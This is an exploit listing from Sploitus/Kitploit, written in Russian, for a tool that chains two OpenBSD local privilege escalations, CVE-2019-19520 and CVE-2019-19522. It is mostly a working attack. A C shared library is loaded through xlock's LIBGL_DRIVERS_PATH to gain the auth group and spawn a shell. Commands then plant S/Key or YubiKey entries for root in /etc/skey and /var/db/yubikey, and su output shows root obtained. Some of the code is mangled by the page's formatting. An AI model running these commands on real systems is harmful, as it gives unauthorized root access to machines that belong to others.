Sploitus

Exploit for Openbsd-Privilege-Escalation

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN74 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RETRYMP3-OPENBSD-PRIVILEGE-ESCALATION
# Openbsd-Privilege-Escalation

Π‘ΠΊΡ€ΠΈΠΏΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ процСсс ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Π² систСмС OpenBSD (CVE-2019-19520) ΠΏΡƒΡ‚Π΅ΠΌ эксплуатации Π±ΠΈΠ½Π°Ρ€Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° xlock ΠΈ получСния Π΅Π³ΠΎ sgid, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Π΄ΠΎ root с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ (CVE-2019-19522), эксплуатируя ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹ auth ΠΈ добавляя ΠΊΠ»ΡŽΡ‡ΠΈ ΠΊ S/Key ΠΈΠ»ΠΈ YubiKey

C-ΠΊΠΎΠ΄ практичСски ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ являСтся ΠΊΠΎΠΏΠΈΠ΅ΠΉ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ PoC с: https://www.openwall.com/lists/oss-security/2019/12/04/5

# CVE-2019-19522: Π›ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Ρ‡Π΅Ρ€Π΅Π· S/Key ΠΈ YubiKey

Π’ OpenBSD, /usr/X11R6/bin/xlock устанавливаСтся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ set-group-ID "auth", Π° Π½Π΅ set-user-ID; ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π΅ΠΏΠΎΠ»Π½Π°, ΠΈ вмСсто Π½Π΅Ρ‘ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ issetugid():

* * *

101 _X_HIDDEN void * 102 driOpenDriver(const char _driverName) { ... 113 if (geteuid() == getuid()) { 114 /_ don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");

Π›ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ этой ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ dlopen() для своСго Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹ "auth":

$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>

static void **attribute** ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(**LINE**); if (setresgid(sgid, sgid, sgid) != 0) _exit(**LINE**);

root@kitploit:~
    
    
    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
    

} EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ² ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹ auth, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠΌΠΈ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² собствСнныС root-ΠΊΠ»ΡŽΡ‡ΠΈ ΠΊ S/Key ΠΈΠ»ΠΈ YubiKey

# CVE-2019-19522: Π›ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Ρ‡Π΅Ρ€Π΅Π· S/Key ΠΈ YubiKey

Если Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Ρ‚ΠΈΠΏ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ S/Key ΠΈΠ»ΠΈ YubiKey (ΠΎΠ±Π° ΠΎΠ½ΠΈ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹), Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹ "auth", Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ "root" (ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ login_skey ΠΈ login_yubikey Π½Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ»Ρ‹ Π² /etc/skey ΠΈ /var/db/yubikey ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‚ Π½ΡƒΠΆΠ½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, Π° эти ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΈ доступны для записи Π³Ρ€ΡƒΠΏΠΏΠ΅ "auth").

> (ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹ "auth", Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ сначала ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ CVE-2019-19520 Π² xlock.)

Если Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ S/Key (Ρ‡Π΅Ρ€Π΅Π· skeyinit -E), Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ с привилСгиями Π³Ρ€ΡƒΠΏΠΏΡ‹ "auth" ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ запись S/Key (Ρ„Π°ΠΉΠ» Π² /etc/skey) для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ "root" (Ссли этот Ρ„Π°ΠΉΠ» ΡƒΠΆΠ΅ сущСствуСт, Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ просто ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ /etc/skey ΠΈΠΌΠ΅Π΅Ρ‚ sticky-Π±ΠΈΡ‚; сущСствуСт простой ΠΎΠ±Ρ…ΠΎΠ΄Π½ΠΎΠΉ ΠΏΡƒΡ‚ΡŒ, ΠΈ ΠΎΠ½ оставлСн заинтСрСсованному Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŽ Π² качСствС упраТнСния):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN

#id uid=0(root) gid=0(wheel) ...

Если Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ YubiKey (Ρ‡Π΅Ρ€Π΅Π· login.conf), Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ с привилСгиями "auth" ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ запись YubiKey (Π΄Π²Π° Ρ„Π°ΠΉΠ»Π° Π² /var/db/yubikey) для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ "root" (Ссли эти Ρ„Π°ΠΉΠ»Ρ‹ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚, Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ просто ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ /var/db/yubikey Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ sticky-Π±ΠΈΡ‚Π°):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul

#id uid=0(root) gid=0(wheel) ...